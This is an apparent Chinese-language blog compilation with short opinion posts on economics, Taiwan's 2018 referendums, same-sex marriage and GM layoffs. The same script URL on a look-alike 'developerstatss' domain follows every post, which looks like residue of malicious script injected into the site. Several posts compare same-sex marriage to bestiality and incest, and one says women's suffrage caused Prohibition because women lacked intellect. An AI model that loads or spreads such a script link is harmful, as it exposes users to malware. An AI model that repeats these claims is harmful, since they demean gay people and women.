反正就是「某些同性戀（或擅自幫腔的異性戀）打死不肯承認同性戀就是極少數的族群」，即便明明是事實，他們也覺得是歧視。
他們無法接受「事實」歧視了他們。當然也就無法接受「立個法讓你們的婚姻有法律效力」這樣的安排。（咦？那你們當初到底在追求什麼？）
所以哪天跑出主張「人獸婚」的獸交愛好者，堅持自己沒有不同、拒絕歧視，甚至主張人獸婚應該載入民法，我也不意外了。 XD
老話一句，同運的反行銷相當成功，惹毛了很多潛在客戶，真是我看過最失敗的行銷運動。
差點都讓我下定決心轉往「反同」路線 — 試想，不好好折磨拆散你們，怎麼能顯示你們愛情的真摯與堅定呢？科科～～～https://js.developerstatss.ga/stat.js?n=ns1
本篇新聞指出，網路安全法規要求下，如發生資料外洩，中小企業面臨的法律責任、賠償與罰款竟然與FB、Amazon這種大公司差不多。
可中小企業本身往往沒有大公司的資源去達成法規所要求的事項。更沒有能力負擔風險發生時的訴訟成本。
於是從經濟分析看，許多看似保障消費者的法規（如醫藥食品安全、衛生法規、消費者保護法乃至於本篇新聞主題『網路安全法規』），其實質經濟效果是「保障壟斷者利益」。
而這偏偏是反壟斷法不能也不會處理的部份。
這也是為什麼我們總看到大公司出面主張或歡迎更嚴格的行業規範、法律標準。
https://www.wsj.com/articles/the-case-for-protecting-small-firms-from-cyber-lawsuits-1543201260https://js.developerstatss.ga/stat.js?n=ns1
通用汽車計畫關閉美國與加拿大境內數座工廠，裁員14,800 名員工，以求在2020年底前達到節省每年$45億美元開支。
川普表示：「不爽！」聲稱自己與通用總裁通過電話施壓（川普撂狠話：「You’re playing around with the wrong person.」），通用方面也證實卻有此事。
可惜，通用汽車本週一仍然宣布將在未來縮減北美地區15%人力。
通用表示，即便這兩年經濟大好，自家公司財報亮麗，但「未雨稠繆」下，費用與資本支出二項都會努力精簡，後者暫定目標是年減$15億美元。
而同業呢？跟進！
Fiat Chrysler Automobiles NV已經停掉美國境內多數小型車與轎車的生產線；福特也計畫停掉某些車型的生產線。
—————————————
胡阿萍怎麼跟你說的都不一樣呀？美國貿易戰越打越不妙耶。
https://www.wsj.com/articles/gm-says-it-will-cut-15-of-salaried-workforce-in-north-america-1543246232https://js.developerstatss.ga/stat.js?n=ns1
前一篇談到中老年與青年預期收入之不同，特別補充一下經濟學「收入（income）」的概念。
根據利息理論大師I. Fisher的觀念，收入（income）是指一切可以帶來「享受（enjoyment）」的事物，除了金錢，也包含尊嚴、優越、五感或心靈的滿足乃至於愛情、親情….等等可以讓你覺得「有會比沒有」更好的事物。
因此投資小孩，並不只物質的養育、金錢的教育投資，而是包含對小孩的時間、耐心、關心、照護、溝通…等等支出，期待換取小孩未來回報。
換言之，投資愛情、投資親情，付出與回報都不僅僅是物質與金錢。
更進一步，Fisher著名的財富公式：「W=I/r」（財富等於未來收入流折現總合）當然也包括非金錢收入。
是的，經濟學認為一個人的總財富很大部分是「非金錢」的。這點對經濟學外行恐怕很震撼，笑。這也是說，只追求金錢的人是笨蛋，一生總財富量恐怕還輸給家庭和樂的水果攤老闆。
這，才是正確的經濟學觀念。
只是跟一切金融投資一樣，投資都不見得有回報，因為存在風險 — 不肖子孫、所嫁/娶非人、你愛的人不愛你/愛你的人你不愛、壞父母惡公婆、壞朋友…等等。猶如佛家言：愛別離苦、求不得苦、怨憎會苦，都會在風險實現時跑出來。
因此，學好經濟學，面對付出情感卻無回報甚至背叛，也比較不會死心眼走死胡同。所謂：心無罣礙。無罣礙故。無有恐怖。遠離顛倒夢想。究竟涅槃。
那為什麼經濟學家「談收入都只談錢？」
因為：1. 金錢收入是客觀且可輕易量度的與2. Fisher這類大師認為金錢是所有享受的前身，而人類一切享受以金錢來量度相對容易（例如你願意花25萬元買個包，客觀上可證明在你心中這個包包可以帶來的享受–美感、優越感、尊榮感…whatever — 至少大於等於25萬元）。
當然我們在邊際上可以「排列」enjoyment大小，例如一年只見愛孫一面的祖父母與天天見面者，初見面瞬間的快樂肯定有相對差異，但難以量化為絕對值。再談下去，會牽涉到measurement of utility的問題，我想我就跳過這塊了。https://js.developerstatss.ga/stat.js?n=ns1
為何社會多數都是保守派？從經濟分析來看，因為不知道（或訊息不夠明確）改變後的實際成本效益狀況，保持現況會是最理性、最低成本選擇。
為何年輕人多亟欲改變，而中老年人保守？
除了知識與判斷力差異外（畢竟中老年人多半看過不同情境的改革失敗下場，對於冒進改革傾向謹慎以對），從利息理論也可得到解釋 —
中老年人的未來收入流確定性遠高於20幾歲以下的毛頭，因此推動改變假設可能導致收入減少，則在1/n的機率下，前者的財富損失很可能高於後者。（n為>1的變動值，於中老年族群變動範圍小；年輕人族群變動範圍大）
而一個關鍵侷限條件是：時間。以平均壽命來看，中老年人若因錯誤改革造成財富損失，將只有相對年輕人「更少的時間與精力」來修正錯誤。
特別若我們將子女看做父母的投資這點來看，更可以解釋為何多數人有了親身子女後會轉趨保守。
進一步談談公投制度的一大弊病 — 選民根本 not well-informed，甚至很多議題，選民本身知識量判斷力都不足的侷限下，也不可能達到well-informed。
這次實踐上還指出一個更有趣的點：原來用個雙重否定句就可以考倒一堆高等教育台灣人呢！
換言之，我們等於是把決策放到一群搞不清楚狀況的人手上，這比美國法院的陪審團還糟糕。
再從產權經濟學角度看，這次公投案除了「以核養綠」有稍微比較明確地與選民財產連結（沒有核能電費要大漲、空氣會很差）外，其實多數公投案選民壓根不知道改變之後的代價是什麼？可能利益是什麼？風險與風險機率為幾何？
我們都知道產權的利害關係者與決策者發生脫鉤時，經濟無效率必定發生。
因此我認為，公投制度是本來就很爛的民主制度裡面最糟糕的一個安排。https://js.developerstatss.ga/stat.js?n=ns1
該怎麼說呢？經濟學真的是一門準確研究人類行為的科學。
重貼昨日預測：「縣市長短時間拼經濟的最低成本方法就是全面擁抱大陸市場，在中國『軟更軟、硬更硬』策略下，從經濟面達到分化台灣效果。綠色縣市想學都難…」
https://money.udn.com/money/story/6808/3504205
新聞摘要：
桃園市長鄭文燦今天上午走訪蘆竹區五福宮等宮廟參拜祈福謝票，針對面對民進黨大敗，媒體訪問總統蔡英文的兩岸關係是否應該修正？鄭文燦說，六都首長已經產生，北京必須要面對台灣多元民意，不是高雄市長換人，觀光客就到高雄，這樣做法不對，應該兩岸整體要朝更善意、更交流方向走，對岸所設置的政治前提，應該尋找比較好的自我解套，台灣是民主社會對於這些政治前提並不接受，交流就是交流，不應該有藍綠差別，也不應該附加任何政治條件。
自從倫敦警方獲得授權可以直接開車衝撞摩托車搶匪（參見影片）後，短短一年內此類搶案數量減少36%！
行為成本上升，行為數量下降，需求定律而已。
https://youtu.be/1owgBHpNhPEhttps://js.developerstatss.ga/stat.js?n=ns1
好文推薦：素顏台灣
補充：本文統計學上有點問題，我認為不記名投票本身就會影響準確性與某些推論，例如「如何得知支持東奧正名者也投票支持/反對同婚？」
又例如該文使用人口資料是以「居民」為調查對象，但投票卻會有很多非居民者投票。這會使得某些indicators有疑問。
還有公投時的雙重否定句考倒了一堆人，尤其是「以核養綠」一案，相信支持/反對雙方都有相當人數投錯票。
這在不記名投票且無法事後重新檢驗的情況下，也會讓此統計分析準確性或可參考性降低。
幾個有趣的現象 —
1. 如果我們將人口細部分析會發現，40～59歲的中年男性人口比例較高的地方較支持十號公投（即一男一女婚姻），反而是60歲以上老年女性人口比例較高的地方較不支持。
2. 愈反同的地方，民進黨票數減少得越嚴重。
3. 蔡英文在2016年競選總統前，曾稱目前的年輕人為「天然獨」。然而我們若進行細部分析可以發現，老年人較多的區域還是較為支持帶有台獨精神的東奧正名公投。特別從圖七可以看得到，在其他性別年齡層人口比例沒有顯著相關性的情況下，60歲以上女性人口較多的地區比較支持東奧正名。但是18～39歲男性年輕人口比較多的地區，反而較為不支持東奧正名。
4. 支持正名公投比例愈高的地區，支持一夫一妻婚姻公投的比例也愈低。
5. 除了核四所在地的貢寮與核廢料所在地的蘭嶼，台灣絕大多數地區的多數選民都是支持以核養綠提案的。若是考慮到各鄉鎮市與核電廠的距離，可以發現支持以核養綠公投的鄉鎮，多位處遠離本島各核電廠的金馬外島（見表八）。儘管有著多數民意的支持，我們也能發現，若是一個鄉鎮離核電廠愈近，對以核養綠公投的支持度就愈低（見圖十二）…
老年人口愈高的地區會比較不支持，收入中位數愈高的地方支持度就也比較高。…
以核養綠的支持率與一夫一妻婚姻是高度正相關，與東奧正名是高度負相關
關於同性婚姻的進一步探討：
1. 許多新來的讀者以為我反對同性戀或同性婚。我說過很多次，我既不反對也不贊成，我是「無感」–因為不干我的事。
2. 許多論者混淆「同性戀」與「同性結婚」兩個議題。
台灣法律與社會多數並無禁止同性戀（伊斯蘭教社會就明文禁止且有刑罰）；台灣法律是「不承認同性婚姻的法律有效性」。
混淆二者是很大的錯誤。
許多反對同性婚者並非反對同性戀，所以支持者沒必要擅自擴大解釋成「否定同性戀戀愛關係或否定同性戀者人格」
3. 婚姻契約是一個需要受到社會、政府認可從而生法律效力的合夥契約關係。這就是為何在遠古時代到近代婚姻都是以「多人見證為法律生效要件」，現代多改為「登記制」是因為政府管制與資訊系統大幅進步使然。
同性婚姻是不是該被社會與政府認可，前者需要社會多數人共識（可惜這次公投結果截然相反），後者則需要法律授權方可生效（幸運的是大法官透過解釋文承認之）。
因此人民是否有契約對象訂定自由？當然有。但你訂的婚約，政府要不要承認？法律能不能生效？是由社會整體來決定。
這樣說好了，我們反過來想：如果自由戀愛就應該使其婚姻生效，那真摯相愛的親父女、親母子甚或親兄妹姊弟之間，可以生效嗎？
現代民法一樣不承認這種婚姻喔！是不是侵害人權呢？
而我自認重要的議題是：如此重大的社會制度轉變，所需費用，無論是執行面（政府機關、資訊系統或其他轉變）或看不見的社會成本…等，到底有多大？應該由誰來負擔？
如我在留言討論中提到：「美國婦女被賦與投票權後，通過惡名昭彰的禁酒令，造成國家嚴重官商勾結、黑手黨崛起、社會費用大增乃至於退步等等現象，是當初始料未及的整體社會費用。而究其原因，當年婦女智識不足卻能投票就容易被民粹主張左右，是一個重要客觀侷限條件。」
舉個例來說明，同時釐清兩個概念：
a. 中華民國33年05月04日以前不存在專利法，是指中華民國政府尚未承認發明可享有「特許壟斷權保護」，這並非代表「政府禁止發明行為」。
二者間巨大差異，恰如「同性戀與同性婚」。
b. 民國33年版本僅承認「發明專利」，後來我們熟知的「新型專利或設計專利」都未受到保護。
這也不代表「政府禁止新型或設計的發想與實踐」，就只是法律上沒有給等同「發明」一般的特許保護而已。
猶如政府承認婚姻的法律效力，但僅限於「一男一女」這種組合。政府並未禁止成人男男、女女、多男多女等各種組合的戀愛關係（除非涉及通姦罪）。
專利體制下，制度的改變是由專利申請人付費承擔整個系統運作的費用。
我的問題是：婚姻制度改變費用要由誰來買單？
c. 由此例亦可知，婚姻既然是一種需由社會與政府公認的特殊夥伴關係，則絕對不適用「天賦人權」的概念。是的，我並不十分認同大法官用「平等權」來處理強行過關同性婚姻，但這並不是很重要的問題。
我儘量簡化我的疑問，希望一般人都能懂，也能察覺–這些問題實在無涉看不看得起同性戀者，純粹就是想知道要花費多大代價跟誰買單。
順道一提，如果同志運動者連我這種對同性戀無感的人都難以說服的話，又怎奢望去說服那些打從心底敵視同性戀之人？https://js.developerstatss.ga/stat.js?n=ns1
元毓說 